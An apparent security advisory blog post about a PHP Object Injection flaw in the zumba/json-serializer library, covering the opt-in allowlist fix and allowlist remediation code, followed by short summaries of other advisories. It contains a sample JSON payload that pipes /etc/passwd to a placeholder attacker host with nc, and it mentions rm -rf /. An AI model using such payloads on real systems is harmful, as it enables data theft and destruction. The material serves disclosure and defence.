Feb 21, 2026·5 min read·79 visits
Zumba Json Serializer <= 3.2.2 blindly trusts the `@type` field in JSON input, allowing attackers to instantiate any PHP class. If a 'gadget' class exists in the application, this leads to RCE. The fix in 3.2.3 introduces an allowlist, but it defaults to 'allow all' for backward compatibility, leaving updated applications vulnerable unless explicitly configured.
A high-severity PHP Object Injection vulnerability exists in the Zumba Json Serializer library. By trusting user-controlled type hints in JSON payloads, the library allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE) via magic method gadget chains. While a patch exists, it requires manual configuration to be effective.
We all love JSON. It’s simple, text-based, and usually dumb as a rock. That’s a good thing. But sometimes, developers want their JSON to be smart. They want it to remember that { "foo": "bar" } isn't just an array, but an instance of UserPreferenceStrategy. Enter zumba/json-serializer, a PHP library designed to serialize complex objects into JSON and resurrect them later.
To pull off this necromancy, the library embeds metadata—specifically a @type field—into the JSON. When the library parses this JSON, it looks at that field and says, "Aha! I need to spin up a new instance of this class." It’s a convenient feature for developers who want to persist state without writing boilerplate code.
Unfortunately, this convenience is also a loaded gun. In the security world, we call this PHP Object Injection (POI). If you let an attacker tell your application what class to instantiate, you aren't just parsing data anymore; you're handing over the keys to the runtime environment. It’s like letting a stranger order off a secret menu where one of the items is "burn the restaurant down."
The root cause, identified as CWE-502 (Deserialization of Untrusted Data), lives in the unserializeObject method of the JsonSerializer class. Prior to version 3.2.3, the library operated on a policy of absolute trust. It would take the string value provided in the @type key and feed it directly into PHP's reflection mechanisms to instantiate the object.
There were no guardrails. No bouncers at the door checking the guest list. If the JSON payload contained "@type": "GuzzleHttp\\Client", the library would happily try to create a Guzzle client. If it contained "@type": "Monolog\\Handler\\StreamHandler", it would create that too.
The logic was straightforward but fatal: read the type, load the class, populate properties. The library assumed that the JSON only came from trusted sources—a classic fallacy in web development. In reality, if this library is used to process API requests, cookies, or queued jobs, that JSON is coming from the wild, untamed internet.
The fix arrived in version 3.2.3 via commit bf26227879adefce75eb9651040d8982be97b881. The maintainers introduced an allowlist mechanism. Instead of instantiating whatever the JSON demands, the developer can now define exactly which classes are permitted.
Here is the critical logic added to unserializeObject:
// The Fix: Check against an allowlist
if ($this->allowedClasses !== null && !in_array($className, $this->allowedClasses, true)) {
throw new JsonSerializerException(
'Class ' . $className . ' is not allowed for deserialization. ' .
'Use setAllowedClasses() to configure the list of allowed classes.'
);
}> [!WARNING]
> Here is the catch: To maintain backward compatibility, the $allowedClasses property defaults to null. In this library's logic, null means "allow everything."
This is a classic "opt-in security" pattern. Simply running composer update does not fix the vulnerability. The code is patched, but the door is still unlocked until you explicitly call setAllowedClasses([...]). It’s a patch that acts more like a toolbox than a shield.
To turn this instantiation primitive into Remote Code Execution, we need a Gadget Chain. In PHP, this relies on "Magic Methods"—specifically __wakeup() (called on creation) and __destruct() (called when the object is destroyed/garbage collected).
An attacker constructs a JSON payload that references a class known to exist in the application's dependencies (e.g., a vulnerable version of Monolog or a framework component). This class usually has a destructor that performs unsafe operations on its properties, like deleting a file or executing a shell command.
Here is the attack flow:
zumba/json-serializer.composer.json or error logs to find available classes with dangerous destructors.@type to the gadget class and populating properties with malicious commands.rm -rf /.{
"@type": "VulnerableLib\\DestructiveClass",
"command": "cat /etc/passwd | nc attacker.com 1337"
}If you are using zumba/json-serializer, you have two tasks. First, update the library. Second, change your code. If you skip step two, you are still vulnerable.
Step 1: Update to version 3.2.3.
Step 2: Configure the allowlist. You must explicitly tell the serializer which classes are safe to hydrate. If you only expect User objects, only allow User objects.
$serializer = new Zumba\JsonSerializer\JsonSerializer();
// LOCK IT DOWN
$serializer->setAllowedClasses([
MyApp\Models\User::class,
MyApp\Models\Product::class,
stdClass::class // Don't forget stdClass if you use it!
]);
$user = $serializer->unserialize($json);If you cannot define an allowlist because your data is too dynamic, you are likely using the wrong tool for the job. Consider using standard json_decode($json, true) which returns arrays and is immune to object injection attacks.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
json-serializer zumba | < 3.2.3 | 3.2.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| CVSS Score | 8.1 (High) |
| Attack Vector | Network |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept (PoC) Available |
| Vulnerability Type | PHP Object Injection |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.